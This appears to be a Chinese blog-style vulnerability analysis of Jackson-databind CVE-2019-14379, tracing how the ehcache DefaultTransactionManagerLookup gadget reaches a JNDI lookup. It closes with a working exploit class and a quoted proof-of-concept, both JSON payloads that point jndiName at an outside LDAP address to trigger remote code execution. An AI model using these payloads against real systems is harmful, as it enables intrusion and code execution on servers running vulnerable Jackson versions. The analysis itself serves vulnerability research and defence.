我的编程空间,编程开发者的网络收藏夹
学习永远不晚

分析jackjson的安全漏洞CVE-2019-14379

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

分析jackjson的安全漏洞CVE-2019-14379

Jackson 是当前用的比较广泛的,用来序列化和反序列化 json 的 Java 的开源框架。Jackson 社 区相对比较活跃,更新速度也比较快, 从 Github 中的统计来看,Jackson 是最流行的 json 解析器之一 。今天给大家介绍jackson知识点序列化和反序列化的时候,setName和getName调用顺序:

    Student.java:


package com.test.JackSonTest;

public class Student{
    private String name;
    private Integer age;
    private Teacher teacher;

    public Student(){
        System.out.println("student构造方法被调用");
    };

    public String getName() {
        System.out.println(11111);
        return name;
    }

    public void setName(String name) {
        System.out.println(2222);
        this.name = name;

    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public Teacher getTeacher() {
        return teacher;
    }

    public void setTeacher(Teacher teacher) {
        this.teacher = teacher;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", teacher=" + teacher +
                '}';
    }
}

  在setName和getName处,新增输出语句:

    调用测试类:

    jackson序列化和反序列化:


@Test
    public void test2() throws IOException {
        //序列化 对象转json字符串
        Student student = new Student();
        student.setName("jack");
        student.setAge(20);
        student.setTeacher(new Teacher("lua",33));
        ObjectMapper objectMapper = new ObjectMapper();
        //序列化JSON串时,在值上打印出对象类型
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String result = objectMapper.writeValueAsString(student);
        System.out.println(result);
        //反序列化 json字符串转对象
        String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
        Student stu = objectMapper.readValue(jsonResult, Student.class);
        System.out.println(stu);
    }

  输出结果:

   student构造方法被调用
2222
11111
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student构造方法被调用
2222
teacher构造方法被调用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 结论:在序列化的时候调用set*,然后调用get*方法,反序列化的时候会调用set*方法,不会调用get*方法,调用反序列化的json数据对应的类构造方法

   CVE-2019-14379漏洞分析:

  影响jackson到2.9.9.1:

   这个漏洞还是比较有意思的,其他的cve,我都看了下,都比较简单:

   先安装漏洞环境依赖:

      pom.xml:


<dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.8</version>
        </dependency>


        <dependency>
            <groupId>net.sf.ehcache</groupId>
            <artifactId>ehcache</artifactId>
            <version>2.10.6</version>
        </dependency>

        <dependency>
            <groupId>javax</groupId>
            <artifactId>javaee-api</artifactId>
            <version>6.0</version>
        </dependency>

  单单有ehcache依赖是不行的,还得有javaee包,否则调用ehcache的时候,会提示找不到!

    反序列化的恶意类是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup

    因为代码量的原因,直接静态调试了,不是很难,通过反射进入代码:

    进入类:

   找到这段代码:


public void setProperties(Properties properties) {
        if (properties != null) {
            String jndiName = properties.getProperty("jndiName");
            if (jndiName != null) {
                this.defaultJndiSelector.setJndiName(jndiName);
            }
        }

    }

  获取jndiName的值,然后设置jndiName:

  继续看这个类的其他方法:

      


public DefaultTransactionManagerLookup() {
        this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
    }

    定义数组,存储了这些数据,其中包含了this.defaultJndiSelector,这是重点,等下会用到

   this.defaultJndiSelector的来源:

    


private final JndiSelector defaultJndiSelector = new GenericJndiSelector();

  发现defaultJndiSelector实例化了GenericJndiSelector

    这个等下要用到,这个先标记下.

    继续看这个类的其他方法:getTransactionManager():

    

  代码如下:


public TransactionManager getTransactionManager() {
        if (this.selector == null) {
            this.lock.lock();

            try {
                if (this.selector == null) {
                    this.lookupTransactionManager();
                }
            } finally {
                this.lock.unlock();
            }
        }

        return this.selector.getTransactionManager();
    }

    跟进去this.lookupTransactionManager():

    

  其中


Selector[] var1 = this.transactionManagerSelectors;
        int var2 = var1.length;

  获取的数组内容,就是DefaultTransactionManagerLookup类提供的,继续往下走代码:

  

  跟进去:

    


public TransactionManager getTransactionManager() {
        if (this.transactionManager == null) {
            this.transactionManager = this.doLookup();
        }

        return this.transactionManager;
    }

  调用this.doLookup()方法:

    跟进去:

    

  跟进到了Selector类,发现这是个抽象类:

  以前写文章说过,java基础:抽象类方法的实现在他的子类继承,如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.

  寻找他的子类:

    

  跟进去看看:

    

  快速找doLookup的具体实现:

  

  把代码搞出来:


protected TransactionManager doLookup() {
        InitialContext initialContext;
        try {
            initialContext = new InitialContext();
        } catch (NamingException var14) {
            LOG.debug("cannot create initial context", var14);
            return null;
        }

        try {
            TransactionManager var3;
            try {
                Object jndiObject = initialContext.lookup(this.getJndiName());
                if (jndiObject instanceof TransactionManager) {
                    var3 = (TransactionManager)jndiObject;
                    return var3;
                }

   发现调用lookup,远程调用我们的jndiName,jndiName可以通过properties设置:


Object jndiObject = initialContext.lookup(this.getJndiName());

  

  至此都分析完了,触发jndi远程调用的文件是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class

  只要我们设置我们的jndiName为恶意地址,并且调用getTransactionManager方法,即可实现rce:

  构造exp:


package com.test.JackSonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;
import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup;
import org.jdom.transform.XSLTransformException;
import org.jdom.transform.XSLTransformer;


import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties;

public class attackJdbc {
    public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException {
        ObjectMapper objectMapper =new ObjectMapper();
        Class.forName("org.jdom.transform.XSLTransformer");
        Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]";
        Object o = objectMapper.readValue(json2, Object.class);
        objectMapper.writeValueAsString(o);
    }
}

    这里要writeValueAsString序列化一次,是因为只有调用get方法的时候才能触发lookup远程调用,所以这里需要序列化一次

  运行代码:

  关于恶意json的构造,参考一开始写的测试类中序列化的生成,我是根据序列化生成json反推出来的恶意json

  浅蓝提供的exp是:


 String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";

  这边执行提示我json格式错误...

  真的学到了不少哈哈哈,还是比较有意思的,虽然实战很鸡肋..

  漏洞分析参考文章:

    https://b1ue.cn/archives/189.html   

以上就是jackjson的使用及CVE-2019-14379漏洞分析的详细内容,更多关于jackjson CVE-2019-14379漏洞的资料请关注编程网其它相关文章!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

分析jackjson的安全漏洞CVE-2019-14379

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)分析

作者:Longofo@知道创宇404实验室时间:2019年10月16日原文链接:https://paper.seebug.org/1067/这个漏洞和之前@Matthias Kaiser提交的几个XXE漏洞是类似的,而EJBTaglibDe
2023-06-03

WebLogic CVE-2019-2647~2650 XXE漏洞分析

Oracle发布了4月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW)@xxlegend
2023-06-04

Confluence 文件读取漏洞(CVE-2019-3394)分析

作者: Badcode@知道创宇404实验室 日期: 2019/08/29 英文版本: https://paper.seebug.org/1026/前言下午 @fnmsd 师傅发了个 Confluence 的预警给我,我看了下补丁,复现了这
2023-06-04

win32k.sys驱动CreateSurfacePa的本地提权漏洞分析(CVE-2019-1362)(下)

在上一篇文章中,我们介绍了漏洞发生的运行环境和运行过程。在这一篇文章,我将介绍漏洞的实际攻击过程,并对其进行分析。
win32k.sys驱动CreateSurfacePa的本地提权漏洞分析(CVE-2019-1362)(下)
2024-04-23

如何进行CVE-2019-5786漏洞原理分析及利用

如何进行CVE-2019-5786漏洞原理分析及利用,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。从补丁发现漏洞本质首先根据谷歌博客收集相关CVE-2019-5786漏洞的资料
2023-06-04

如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析

如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。漏洞概述2019年
2023-06-04

WEP安全漏洞的分析及WEP的改进

      WEP协议能够提高我们无线网络的安全,防止无线网络用户被偷听,但是遗憾的是它也存在着许多的安全漏洞,这些安全漏洞使得它的安全控制功能遭受到破坏。在这里,我们就来和大家探讨一下WEP有哪些安全漏洞,以及该做哪些改进。WEP安全漏洞  和许多新技术一样,最初设计的WEP 被人们发现
WEP安全漏洞的分析及WEP的改进
2024-04-18

Linux系统bash严重安全漏洞CVE-2014-6271的检测

CVE-2014-6271,也被称为Shellshock,是一个影响Linux和Unix操作系统中bash shell的严重安全漏洞。该漏洞允许远程攻击者执行任意命令,从而导致系统完全被控制。要检测系统是否受到CVE-2014-6271的影
2023-09-28

Excel 曝Power Query安全漏洞的示例分析

Excel 曝Power Query安全漏洞的示例分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。近日,Mimecast 威胁中心的安全研究人员,发现了微软 Excel
2023-06-05

windows远程桌面代码执行漏洞CVE-2019-1181分析与修复方案是怎样的

这篇文章将为大家详细讲解有关 windows远程桌面代码执行漏洞CVE-2019-1181分析与修复方案是怎样的,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。2019年8月14日,微软发布更
2023-06-03

如何分析Web安全中的明文密码漏洞

这篇文章给大家介绍如何分析Web安全中的明文密码漏洞,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。明文是未加密的信息,明文密码自然就是未加密的密码信息,而明文密码传输、明文密码存储、密码弱加密及密码存储在攻击者能访问的
2023-06-17

如何进行Microsoft Office内存损坏漏洞CVE–2017–11882的分析

如何进行Microsoft Office内存损坏漏洞CVE–2017–11882的分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。 2017年11月,微软在
2023-06-19

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录